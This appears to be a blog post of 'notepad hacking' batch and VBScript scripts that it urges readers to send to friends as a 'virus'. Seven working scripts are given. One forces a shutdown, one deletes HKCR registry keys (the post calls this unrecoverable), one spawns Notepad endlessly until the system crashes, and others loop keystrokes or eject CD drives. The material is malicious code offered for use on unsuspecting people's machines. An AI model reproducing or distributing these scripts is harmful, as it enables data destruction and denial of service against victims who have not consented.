notepad hacking

Here i am posting some of the notepad hacking scripts. You can call it a virus , create it and send it your friend and make him fool.

1.  To Stupidity Shutdown Computer –>
*This pops up a funny message then will shutdown the computer*

CODE:
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10

2.  Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK] –>
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*

CODE :
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

3.  Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
CODE :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

4.  Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*
CODE :
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

5.  Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
CODE :
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

6.  Endless Backspace
*This makes it so the backspace key is constantly being pressed*
CODE :
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

7.  Popping CD Drives
*This will make the CD drives constantly pop out*
CODE :
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Hope it will help you to make your friend fool.